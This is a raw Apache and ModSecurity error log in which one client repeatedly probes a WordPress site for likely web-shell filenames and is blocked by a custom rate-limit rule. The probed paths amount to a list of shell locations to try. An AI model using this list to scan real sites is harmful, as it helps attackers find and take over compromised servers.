[Thu Apr 09 17:59:25.936930 2026] [proxy_fcgi:error] [pid 24927:tid 24934] [client 20.240.63.86:14478] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:59:26.366130 2026] [proxy_fcgi:error] [pid 24927:tid 24952] [client 20.240.63.86:14478] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:59:26.655480 2026] [proxy_fcgi:error] [pid 24927:tid 24947] [client 20.240.63.86:14478] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:59:27.000600 2026] [proxy_fcgi:error] [pid 24927:tid 24953] [client 20.240.63.86:14478] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:59:27.578066 2026] [proxy_fcgi:error] [pid 24927:tid 24949] [client 20.240.63.86:14478] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:59:28.016367 2026] [proxy_fcgi:error] [pid 24927:tid 24943] [client 20.240.63.86:14478] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:59:28.343029 2026] [proxy_fcgi:error] [pid 24927:tid 24934] [client 20.240.63.86:14478] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:59:28.661855 2026] [proxy_fcgi:error] [pid 24927:tid 24936] [client 20.240.63.86:14478] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:59:29.549442 2026] [:error] [pid 24927:tid 24935] [client 20.240.63.86:14478] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "add4gTXObuzEuw8mNJvhMAAAAQU"]
[Thu Apr 09 17:59:31.681497 2026] [:error] [pid 24515:tid 24521] [client 20.240.63.86:10290] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "add4g61OMnvM2fMnB1NwbgAAAAI"]
[Thu Apr 09 17:59:33.255440 2026] [:error] [pid 24516:tid 24553] [client 20.240.63.86:10397] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "add4hdhW7vSS-UkeWCUbTgAAAEY"]
[Thu Apr 09 17:59:34.462604 2026] [:error] [pid 24515:tid 24530] [client 20.240.63.86:10247] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "add4hq1OMnvM2fMnB1NwdwAAAAs"]
[Thu Apr 09 17:59:35.316035 2026] [:error] [pid 24517:tid 24593] [client 20.240.63.86:21354] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "add4h3boYEn2ZFM_PS9uDAAAAJM"]
[Thu Apr 09 17:59:36.267378 2026] [:error] [pid 18477:tid 18492] [client 20.240.63.86:17336] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "add4iMDe826HlFeoLPJrVAAAAU0"]
[Thu Apr 09 17:59:37.184250 2026] [:error] [pid 18477:tid 18484] [client 20.240.63.86:45821] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "add4icDe826HlFeoLPJrWwAAAUU"]
[Thu Apr 09 17:59:38.058218 2026] [:error] [pid 24516:tid 24561] [client 20.240.63.86:29074] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "add4ithW7vSS-UkeWCUbVAAAAE4"]
[Thu Apr 09 17:59:39.007853 2026] [:error] [pid 20837:tid 20850] [client 20.240.63.86:6120] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "add4i_SL71FHZkjrGzPEUQAAAYs"]
[Thu Apr 09 17:59:40.053198 2026] [:error] [pid 20837:tid 20863] [client 20.240.63.86:29100] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "add4jPSL71FHZkjrGzPEVQAAAZg"]
[Thu Apr 09 17:59:40.807021 2026] [:error] [pid 18477:tid 18483] [client 20.240.63.86:21319] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "add4jMDe826HlFeoLPJrYwAAAUQ"]
[Thu Apr 09 17:59:42.432850 2026] [:error] [pid 24624:tid 24639] [client 20.240.63.86:25013] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "add4ju4Jn-WvK1ZBTviwuwAAAM0"]
[Thu Apr 09 17:59:44.006767 2026] [:error] [pid 18477:tid 18498] [client 20.240.63.86:45768] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "add4kMDe826HlFeoLPJrdAAAAVM"]
[Thu Apr 09 17:59:45.181730 2026] [:error] [pid 18477:tid 18488] [client 20.240.63.86:10298] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "add4kcDe826HlFeoLPJrfgAAAUk"]
[Thu Apr 09 17:59:47.770934 2026] [:error] [pid 24624:tid 24634] [client 20.240.63.86:19214] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "add4k-4Jn-WvK1ZBTviwwgAAAMg"]
[Thu Apr 09 17:59:48.490399 2026] [:error] [pid 24515:tid 24529] [client 20.240.63.86:32727] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "add4lK1OMnvM2fMnB1NwhQAAAAo"]
[Thu Apr 09 17:59:49.503432 2026] [:error] [pid 24927:tid 24945] [client 20.240.63.86:24978] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "add4lTXObuzEuw8mNJvhQQAAAQ8"]
[Thu Apr 09 17:59:51.125729 2026] [:error] [pid 24624:tid 24633] [client 20.240.63.86:17735] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "add4l-4Jn-WvK1ZBTviwygAAAMc"]
[Thu Apr 09 17:59:52.375996 2026] [:error] [pid 24624:tid 24628] [client 20.240.63.86:29071] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "add4mO4Jn-WvK1ZBTviwzQAAAMI"]
[Thu Apr 09 17:59:53.120576 2026] [:error] [pid 24515:tid 24531] [client 20.240.63.86:27745] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "add4ma1OMnvM2fMnB1NwjQAAAAw"]
[Thu Apr 09 17:59:53.959741 2026] [:error] [pid 24515:tid 24529] [client 20.240.63.86:21357] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "add4ma1OMnvM2fMnB1NwkgAAAAo"]
[Thu Apr 09 17:59:57.842445 2026] [:error] [pid 24927:tid 24949] [client 20.240.63.86:25004] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "add4nTXObuzEuw8mNJvhYwAAARM"]
[Thu Apr 09 17:59:58.666872 2026] [:error] [pid 24927:tid 24952] [client 20.240.63.86:10389] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "add4njXObuzEuw8mNJvhZwAAARY"]
[Thu Apr 09 17:59:59.639407 2026] [:error] [pid 18477:tid 18488] [client 20.240.63.86:5752] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "add4n8De826HlFeoLPJrngAAAUk"]
[Thu Apr 09 18:00:09.851128 2026] [:error] [pid 24517:tid 24575] [client 20.240.63.86:33604] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "add4qXboYEn2ZFM_PS9uKwAAAIE"]
[Thu Apr 09 18:00:11.500838 2026] [:error] [pid 18477:tid 18503] [client 20.240.63.86:17740] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "add4q8De826HlFeoLPJrzAAAAVg"]
[Thu Apr 09 18:00:12.585119 2026] [:error] [pid 18477:tid 18482] [client 20.240.63.86:10400] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "add4rMDe826HlFeoLPJr1AAAAUM"]
[Thu Apr 09 18:00:13.327572 2026] [:error] [pid 24516:tid 24556] [client 20.240.63.86:6057] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "add4rdhW7vSS-UkeWCUbbAAAAEk"]
[Thu Apr 09 18:00:14.218059 2026] [:error] [pid 24516:tid 24559] [client 20.240.63.86:20537] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "add4rthW7vSS-UkeWCUbcAAAAEw"]
[Thu Apr 09 18:00:15.358058 2026] [:error] [pid 20837:tid 20862] [client 20.240.63.86:5794] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "add4r_SL71FHZkjrGzPEiwAAAZc"]
[Thu Apr 09 18:00:19.309988 2026] [:error] [pid 24927:tid 24953] [client 20.240.63.86:17779] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "add4szXObuzEuw8mNJvhrgAAARc"]
[Thu Apr 09 18:00:20.187848 2026] [:error] [pid 24927:tid 24932] [client 20.240.63.86:6066] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "add4tDXObuzEuw8mNJvhswAAAQI"]
[Thu Apr 09 18:00:21.051869 2026] [:error] [pid 24516:tid 24566] [client 20.240.63.86:45713] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "add4tdhW7vSS-UkeWCUbdAAAAFM"]
[Thu Apr 09 18:00:22.167732 2026] [:error] [pid 20837:tid 20863] [client 20.240.63.86:19692] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "add4tvSL71FHZkjrGzPEmQAAAZg"]
[Thu Apr 09 18:00:23.704766 2026] [:error] [pid 24927:tid 24953] [client 20.240.63.86:50896] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "add4tzXObuzEuw8mNJvhwgAAARc"]
[Thu Apr 09 18:00:26.190308 2026] [:error] [pid 24515:tid 24530] [client 20.240.63.86:16517] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "add4uq1OMnvM2fMnB1NwzAAAAAs"]
[Thu Apr 09 18:00:26.976089 2026] [:error] [pid 18477:tid 18489] [client 20.240.63.86:46418] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "add4usDe826HlFeoLPJr7wAAAUo"]
[Thu Apr 09 18:00:28.378560 2026] [:error] [pid 18477:tid 18484] [client 20.240.63.86:34625] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "add4vMDe826HlFeoLPJr9AAAAUU"]
[Thu Apr 09 18:00:29.344840 2026] [proxy_fcgi:error] [pid 24515:tid 24529] [client 20.240.63.86:31703] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:00:29.649026 2026] [proxy_fcgi:error] [pid 24515:tid 24534] [client 20.240.63.86:31703] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:00:29.918485 2026] [proxy_fcgi:error] [pid 24515:tid 24538] [client 20.240.63.86:31703] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:00:30.233559 2026] [proxy_fcgi:error] [pid 24515:tid 24542] [client 20.240.63.86:31703] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:00:30.808314 2026] [proxy_fcgi:error] [pid 24515:tid 24535] [client 20.240.63.86:31703] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:00:31.382068 2026] [proxy_fcgi:error] [pid 24515:tid 24521] [client 20.240.63.86:31703] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:00:31.767088 2026] [proxy_fcgi:error] [pid 24515:tid 24523] [client 20.240.63.86:31703] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:00:32.301051 2026] [proxy_fcgi:error] [pid 24515:tid 24540] [client 20.240.63.86:31703] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:00:32.646395 2026] [:error] [pid 24515:tid 24528] [client 20.240.63.86:31703] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "add4wK1OMnvM2fMnB1Nw5AAAAAk"]
[Thu Apr 09 18:00:36.417857 2026] [:error] [pid 18477:tid 18493] [client 20.240.63.86:48903] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "add4xMDe826HlFeoLPJsBQAAAU4"]
[Thu Apr 09 18:00:37.592516 2026] [:error] [pid 24927:tid 24936] [client 20.240.63.86:34682] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "add4xTXObuzEuw8mNJvh_QAAAQY"]
[Thu Apr 09 18:00:39.221573 2026] [:error] [pid 24624:tid 24639] [client 20.240.63.86:19661] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "add4x-4Jn-WvK1ZBTviw3wAAAM0"]
[Thu Apr 09 18:00:40.229020 2026] [:error] [pid 20837:tid 20860] [client 20.240.63.86:48382] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "add4yPSL71FHZkjrGzPEpgAAAZU"]
[Thu Apr 09 18:00:41.745825 2026] [:error] [pid 24624:tid 24645] [client 20.240.63.86:48382] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "add4ye4Jn-WvK1ZBTviw4AAAANM"]
[Thu Apr 09 18:00:43.402927 2026] [:error] [pid 24516:tid 24561] [client 20.240.63.86:46407] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "add4y9hW7vSS-UkeWCUbfAAAAE4"]
[Thu Apr 09 18:00:44.506124 2026] [:error] [pid 18477:tid 18495] [client 20.240.63.86:48336] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "add4zMDe826HlFeoLPJsEwAAAVA"]
[Thu Apr 09 18:00:46.287898 2026] [:error] [pid 18477:tid 18502] [client 20.240.63.86:19639] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "add4zsDe826HlFeoLPJsHAAAAVc"]
[Thu Apr 09 18:00:47.191507 2026] [:error] [pid 24624:tid 24641] [client 20.240.63.86:20187] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "add4z-4Jn-WvK1ZBTviw5gAAAM8"]
[Thu Apr 09 18:00:48.662563 2026] [:error] [pid 18477:tid 18492] [client 20.240.63.86:5855] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "add40MDe826HlFeoLPJsJgAAAU0"]
[Thu Apr 09 18:00:50.425067 2026] [:error] [pid 18477:tid 18497] [client 20.240.63.86:48304] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "add40sDe826HlFeoLPJsKwAAAVI"]
[Thu Apr 09 18:00:52.101121 2026] [:error] [pid 24927:tid 24948] [client 20.240.63.86:18445] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fi.php"] [unique_id "add41DXObuzEuw8mNJviGwAAARI"]
[Thu Apr 09 18:00:53.627320 2026] [:error] [pid 20837:tid 20852] [client 20.240.63.86:41284] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fi.php"] [unique_id "add41fSL71FHZkjrGzPEvwAAAY0"]
